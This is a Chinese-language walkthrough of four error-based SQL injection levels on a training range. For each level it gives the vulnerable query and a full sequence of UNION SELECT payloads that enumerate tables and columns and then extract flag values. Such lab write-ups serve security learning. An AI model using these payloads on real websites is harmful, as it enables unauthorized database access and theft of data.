首页 > 技术文章 > 封神台靶场-显错注入

gaojia-hackerone 2021-09-02 12:41 原文

思维导图

image

显错注入(一)

核心代码

$sql = "select *from user where id=$id";

我们注意到它这里源码查询时是直接拼接id获取的字符,所以我们不需要闭合,直接注入就可。

判断注入存在

http://inject2.lab.aqlab.cn/Pass-01/index.php?id=1 and 1=1 #页面正常

http://inject2.lab.aqlab.cn/Pass-01/index.php?id=1 and 1=2 #页面异常

判断字段数

http://inject2.lab.aqlab.cn/Pass-01/index.php?id=1 order by 3 #页面正常
http://inject2.lab.aqlab.cn/Pass-01/index.php?id=1 order by 4 #页面异常

得出字段数为3

判断显错点

http://inject2.lab.aqlab.cn/Pass-01/index.php?id=1 and 1=2 union select 1,2,3 

得出显错点为2,3

image

开始注入,信息收集

#查询数据库名
http://inject2.lab.aqlab.cn/Pass-01/index.php?id=1 and 1=2 union select 1,database(),3 
得出数据库名:error

#查询当前数据库下表名
http://inject2.lab.aqlab.cn/Pass-01/index.php?id=1 and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
得出表名:error_flag,user

#查询error_flag表下字段名
http://inject2.lab.aqlab.cn/Pass-01/index.php?id=1 and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='error_flag'
得出error_flag表字段名:Id,flag

#查询error_flag表的flag数据:
http://inject2.lab.aqlab.cn/Pass-01/index.php?id=1 and 1=2 union select 1,group_concat(flag),3 from error_flag
得出flag:zKaQ-Nf,zKaQ-BJY,zKaQ-XiaoFang,zKaq-98K

提交验证后zKaQ-Nf是本题flag

显错注入(二)

核心代码

$sql = "select *from user where id='$id'";

我们注意到它这里查询的时候是有拼接单引号'的,所以我们就需要提供一个单引号'让他闭合。

判断注入存在

# 页面正常
http://inject2.lab.aqlab.cn/Pass-02/index.php?id=1' and 1=1 -- qwe

#页面异常
http://inject2.lab.aqlab.cn/Pass-02/index.php?id=1' and 1=2 -- qwe

判断字段数

http://inject2.lab.aqlab.cn/Pass-02/index.php?id=1' order by 3 -- qwe #页面正常
http://inject2.lab.aqlab.cn/Pass-02/index.php?id=1' order by 4 -- qwe #页面异常

得出字段数为3

判断显错点

http://inject2.lab.aqlab.cn/Pass-02/index.php?id=1' and 1=2 union select 1,2,3 -- qwe

得出显错点为2,3

开始注入,信息收集

#查询数据库名
http://inject2.lab.aqlab.cn/Pass-02/index.php?id=1' and 1=2 union select 1,database(),3 -- qwe
得出数据库名:error

#查询当前数据库下表名
http://inject2.lab.aqlab.cn/Pass-02/index.php?id=1' and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- qwe
得出表名:error_flag,user

#查询error_flag表下字段名
http://inject2.lab.aqlab.cn/Pass-02/index.php?id=1' and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='error_flag'-- qwe
得出error_flag表字段名:Id,flag

#查询error_flag表的flag数据:
http://inject2.lab.aqlab.cn/Pass-02/index.php?id=1' and 1=2 union select 1,group_concat(flag),3 from error_flag-- qwe
得出flag:zKaQ-Nf,zKaQ-BJY,zKaQ-XiaoFang,zKaq-98K

提交验证后zKaQ-BJY是本题flag

显错注入(三)

核心代码

$sql = "select *from user where id=('$id')";

我们注意到它这里查询的时候是有拼接单引号'还有括号()的,所以我们就需要提供')让他闭合。

判断注入存在

# 页面正常
http://inject2.lab.aqlab.cn/Pass-03/index.php?id=1') and 1=1 -- qwe

#页面异常
http://inject2.lab.aqlab.cn/Pass-03/index.php?id=1') and 1=2 -- qwe

判断字段数

http://inject2.lab.aqlab.cn/Pass-03/index.php?id=1') order by 3 -- qwe #页面正常
http://inject2.lab.aqlab.cn/Pass-03/index.php?id=1') order by 4 -- qwe #页面异常

得出字段数为3

判断显错点

http://inject2.lab.aqlab.cn/Pass-03/index.php?id=1') and 1=2 union select 1,2,3 -- qwe

得出显错点为2,3

开始注入,信息收集

#查询数据库名
http://inject2.lab.aqlab.cn/Pass-03/index.php?id=1') and 1=2 union select 1,database(),3 -- qwe
得出数据库名:error

#查询当前数据库下表名
http://inject2.lab.aqlab.cn/Pass-03/index.php?id=1') and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- qwe
得出表名:error_flag,user

#查询error_flag表下字段名
http://inject2.lab.aqlab.cn/Pass-03/index.php?id=1') and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='error_flag'-- qwe
得出error_flag表字段名:Id,flag

#查询error_flag表的flag数据:
http://inject2.lab.aqlab.cn/Pass-03/index.php?id=1') and 1=2 union select 1,group_concat(flag),3 from error_flag-- qwe
得出flag:zKaQ-Nf,zKaQ-BJY,zKaQ-XiaoFang,zKaq-98K

提交验证后zKaQ-XiaoFang是本题flag

显错注入(四)

核心代码

$sql = 'select *from user where id=("$id")';

我们注意到它这里查询的时候是有拼接双引号和括号的,所以我们就需要提供")让他闭合。

判断注入存在

# 页面正常
http://inject2.lab.aqlab.cn/Pass-04/index.php?id=1") and 1=1 -- qwe

#页面异常
http://inject2.lab.aqlab.cn/Pass-04/index.php?id=1") and 1=2 -- qwe

判断字段数

http://inject2.lab.aqlab.cn/Pass-04/index.php?id=1") order by 3 -- qwe #页面正常
http://inject2.lab.aqlab.cn/Pass-04/index.php?id=1") order by 4 -- qwe #页面异常

得出字段数为3

判断显错点

http://inject2.lab.aqlab.cn/Pass-04/index.php?id=1") and 1=2 union select 1,2,3 -- qwe

得出显错点为2,3

开始注入,信息收集

#查询数据库名
http://inject2.lab.aqlab.cn/Pass-04/index.php?id=1") and 1=2 union select 1,database(),3 -- qwe
得出数据库名:error

#查询当前数据库下表名
http://inject2.lab.aqlab.cn/Pass-04/index.php?id=1") and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- qwe
得出表名:error_flag,user

#查询error_flag表下字段名
http://inject2.lab.aqlab.cn/Pass-04/index.php?id=1") and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='error_flag'-- qwe
得出error_flag表字段名:Id,flag

#查询error_flag表的flag数据:
http://inject2.lab.aqlab.cn/Pass-04/index.php?id=1") and 1=2 union select 1,group_concat(flag),3 from error_flag-- qwe
得出flag:zKaQ-Nf,zKaQ-BJY,zKaQ-XiaoFang,zKaq-98K

提交验证后zKaq-98K是本题flag

推荐阅读